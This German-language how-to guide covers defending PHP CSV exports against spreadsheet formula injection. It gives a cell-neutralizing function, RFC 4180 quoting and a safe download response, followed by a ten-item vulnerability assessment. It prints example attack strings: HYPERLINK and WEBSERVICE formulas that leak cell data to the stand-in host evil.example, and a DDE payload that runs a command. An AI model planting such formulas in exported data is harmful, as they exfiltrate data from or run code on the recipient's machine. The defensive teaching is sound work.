Skip to content

How-to: CSV-/Tabellenkalkulations-Formel-Injection beim Export verhindern ​

Wenn Ihre API benutzergelieferte Daten als CSV exportiert, liegt die Gefahr nicht auf Ihrem Server — sie liegt in der Tabellenkalkulation des Empfängers. Excel, Google Sheets und LibreOffice behandeln eine Zelle, deren Text mit =, +, -, @, einem Tabulator (\t) oder einem Wagenrücklauf (\r) beginnt, als Formel. Ein Angreifer, der eine Zeichenkette wie =cmd|'/c calc'!A0 oder =HYPERLINK("https://evil.example/?"&A1) in Ihre Datenbank bekommt, sorgt dafür, dass sie ausgeführt (DDE) oder die Zeile exfiltriert wird, wenn ein Administrator die exportierte Datei öffnet.

Dies ist CSV-Injection (auch Formel-Injection genannt). Es ist ein Ausgabe-Kodierungs-Problem an der Exportgrenze — verschieden von SQL-Injection (ein Abfrageproblem) und von CSV-Massenimport (ein Eingabeproblem).

Voraussetzung: Sie haben einen Endpunkt, der Zeilen als CSV zurückgibt.


1. Der Angriff ​

Speichern Sie dies als völlig gültigen „Anzeigenamen", exportieren Sie dann die Tabelle als CSV und öffnen Sie sie in Excel:

=HYPERLINK("https://evil.example/leak?d="&A1&A2, "Click for refund")
  • =...HYPERLINK... — exfiltriert benachbarte Zellen zu einer Angreifer-URL beim Anklicken.
  • =WEBSERVICE("https://evil.example/?"&A1) — exfiltriert ohne Klick in älterem Excel.
  • =cmd|'/c calc'!A0 — DDE; kann nach einem Bestätigungsdialog einen lokalen Befehl ausführen.

Nichts davon berührt Ihren Server. Ihre Validierung war erfolgreich, Ihr SQL war parametrisiert — und dennoch haben Sie einen funktionierenden Exploit innerhalb einer „gültigen" CSV ausgeliefert.


2. Die Lösung: das führende Zeichen neutralisieren ​

Die von OWASP empfohlene Baseline: Wenn ein Zellenwert mit einem gefährlichen Zeichen beginnt und keine reine Zahl ist, stellen Sie ihm ein einzelnes Anführungszeichen (') voran. Excel rendert die Zelle dann als wörtlichen Text.

php
/**
 * Neutralize a value before writing it to a CSV cell so spreadsheet
 * software cannot interpret it as a formula.
 */
function neutralizeCsvCell(string $value): string
{
    if ($value === '') {
        return $value;
    }
    $dangerous = ['=', '+', '-', '@', "\t", "\r"];
    // Keep genuine numbers (incl. negatives like -50) intact; only quote
    // values that *start* dangerous and are not numeric.
    if (in_array($value[0], $dangerous, true) && !is_numeric($value)) {
        return "'" . $value;
    }

    return $value;
}

Der !is_numeric()-Schutz ist der Teil, den die meisten Implementierungen falsch machen: Das blinde Voranstellen vor jedem -/+ verwandelt die legitime Zahl -50 in den Text '-50 und zerstört Summen in der Tabelle des Empfängers. Zahlen passieren unverändert; nur formelförmige Zeichenketten werden in Anführungszeichen gesetzt.


3. Mit RFC-4180-Quoting kombinieren ​

Die Neutralisierung kümmert sich um Formeln; Sie benötigen weiterhin korrektes Quoting, damit Werte, die Kommas, Anführungszeichen oder Zeilenumbrüche enthalten, die Spaltenstruktur nicht zerstören (ein separater Injection-Vektor). Lassen Sie fputcsv das erledigen, mit escape="" für striktes RFC 4180-Verhalten (kein Backslash-Escaping):

php
$fp = fopen('php://temp', 'r+');
foreach ($rows as $row) {
    fputcsv($fp, array_map('neutralizeCsvCell', $row), ',', '"', '');
}
rewind($fp);
$csv = stream_get_contents($fp);

Eingabe → Ausgabe (verifiziert):

=1+1                       → '=1+1
+budget                    → '+budget
@home                      → '@home
-50                        → -50            (real number, untouched)
=cmd|'/c calc'!A0          → "'=cmd|'/c calc'!A0"
a,b                        → "a,b"
he said "hi"               → "he said ""hi"""

escape="" ist wichtig: PHPs historisches Standard-Escape-Zeichen (\) erzeugt eine Ausgabe, die nicht RFC 4180 entspricht und die Excel falsch parst. Immer "" übergeben.


4. Als Download-Antwort zurückgeben ​

Bauen Sie die PSR-7-Antwort im Handler. Zwei weitere Header-Detail-Aspekte sind wichtig:

php
$filename = 'export-' . date('Ymd') . '.csv';

return $responseFactory->createResponse(200)
    ->withHeader('Content-Type', 'text/csv; charset=UTF-8')
    // Sanitize the filename: strip CR/LF/quotes so it cannot inject extra headers.
    ->withHeader('Content-Disposition', 'attachment; filename="'
        . preg_replace('/[\r\n"]/', '', $filename) . '"')
    ->withBody($streamFactory->createStream("\u{FEFF}" . $csv));
  • Content-Disposition: attachment erzwingt einen Download, anstatt den Browser die Bytes rendern zu lassen (verteidigt gegen Content-Sniffing).
  • filename-Sanitisierung — interpolieren Sie niemals einen benutzergesteuerten Namen, ohne \r, \n und " zu entfernen; andernfalls wird er zu einem Header-Injection-Vektor.
  • BOM (\u{FEFF}) — optional; sorgt dafür, dass Excel UTF-8 korrekt öffnet. Es hat keinen Einfluss auf die Injection-Abwehr.

Halten Sie die Neutralisierung in der Exportschicht (ein kleines CsvWriter-Value-Object), nicht verstreut über die Handler — dieselbe Garantie deckt dann jeden Export-Endpunkt ab.


Schwachstellenbewertung ​

V-01 — Formel-Injection via führendem = ✅ SICHER ​

Risiko: Ein gespeicherter Wert wie =1+1 oder =HYPERLINK(...) wird ausgeführt, wenn die CSV geöffnet wird. Befund: SICHER — neutralizeCsvCell() stellt ' voran, sodass die Zelle als Text gerendert wird ('=1+1).


V-02 — DDE-Befehlsausführung (=cmd|...) ✅ SICHER ​

Risiko: =cmd|'/c calc'!A0 löst DDE aus und kann einen lokalen Befehl ausführen. Befund: SICHER — der Payload beginnt mit = und ist nicht numerisch, also wird er in Anführungszeichen gesetzt ("'=cmd|'/c calc'!A0").


Risiko: =WEBSERVICE("https://evil/?"&A1) leakt benachbarte Zellen, manchmal ohne Klick. Befund: SICHER — identisch neutralisiert; das führende = wird entschärft, bevor der Funktionsname erreicht wird.


V-04 — Führende +, -, @-Auslöser ✅ SICHER ​

Risiko: Excel wertet auch Zellen aus, die mit +, - und @ beginnen. Befund: SICHER — alle vier sind in der $dangerous-Menge; +budget → '+budget, @home → '@home.


V-05 — Tabulator-/Wagenrücklauf-Präfix-Umgehung ✅ SICHER ​

Risiko: Ein führendes \t oder \r wird von einigen Parsern entfernt und legt darunter ein = frei (\t=1+1). Befund: SICHER — \t und \r sind selbst in der $dangerous-Menge, sodass die gesamte Zelle vor jeglichem Entfernen in Anführungszeichen gesetzt wird.


V-06 — Spaltenumbruch via Komma / Anführungszeichen / Zeilenumbruch ✅ SICHER ​

Risiko: Ein Wert wie a,b oder ein eingebettetes "/Zeilenumbruch verschiebt Daten in die falschen Spalten (strukturelle Injection). Befund: SICHER — fputcsv(..., escape: '') wendet RFC-4180-Quoting an ("a,b", "he said ""hi""").


V-07 — Content-Disposition-Dateiname-Header-Injection ✅ SICHER ​

Risiko: Ein benutzergesteuerter Exportname, der \r\n enthält, schleust zusätzliche Antwort-Header ein. Befund: SICHER — der Dateiname wird durch preg_replace('/[\r\n"]/', '', ...) geleitet, bevor er in den Header gesetzt wird.


V-08 — Content-Sniffing / Inline-Rendering ✅ SICHER ​

Risiko: Ohne attachment kann ein Browser die CSV als HTML rendern und eingebettetes Markup ausführen. Befund: SICHER — Content-Type: text/csv + Content-Disposition: attachment erzwingen einen Download.


V-09 — Legitime negative Zahlen verstümmelt ✅ SICHER (Korrektheit) ​

Risiko: Übereifrige Neutralisierung verwandelt -50 in den Text '-50 und beschädigt nachgelagerte Summen. Befund: SICHER — der !is_numeric()-Schutz lässt wohlgeformte Zahlen (-50, +1, -5e3) unverändert passieren.


V-10 — Abwehrzentralisierung ✅ SICHER ​

Risiko: Pro-Handler-Ad-hoc-CSV-Erstellung lässt einen Endpunkt die Neutralisierung vergessen. Befund: SICHER (by design) — die Neutralisierung lebt in einer einzigen Exportschicht, angewendet via array_map, sodass jede Spalte jedes Exports abgedeckt ist.


VULN-Zusammenfassung ​

IDSchwachstelleBefund
V-01Formel-Injection (=)✅ SICHER
V-02DDE-Befehlsausführung✅ SICHER
V-03WEBSERVICE/HYPERLINK-Exfiltration✅ SICHER
V-04+ / - / @-Auslöser✅ SICHER
V-05Tabulator- / CR-Präfix-Umgehung✅ SICHER
V-06Komma- / Anführungszeichen- / Zeilenumbruch-Spaltenumbruch✅ SICHER
V-07Dateiname-Header-Injection✅ SICHER
V-08Content-Sniffing / Inline-Render✅ SICHER
V-09Verstümmelung negativer Zahlen✅ SICHER
V-10Abwehrzentralisierung✅ SICHER

10 SICHER, 0 EXPONIERT. Keine kritischen Befunde. Die Regel zum Neutralisieren des führenden Zeichens (mit einem numerischen Schutz) plus RFC-4180-Quoting und eine attachment-Download-Antwort schließen die CSV-Injection-Angriffsfläche. Der eine verbleibende Vorbehalt ist menschlicher Natur: Das neutralisierende ' ist in einigen Nicht-Tabellenkalkulations-CSV-Parsern als führendes Apostroph sichtbar — akzeptabel, da die Alternative Codeausführung in der Tabellenkalkulation des Empfängers wäre.


Verwandte Anleitungen ​

Veröffentlicht unter der MIT-Lizenz.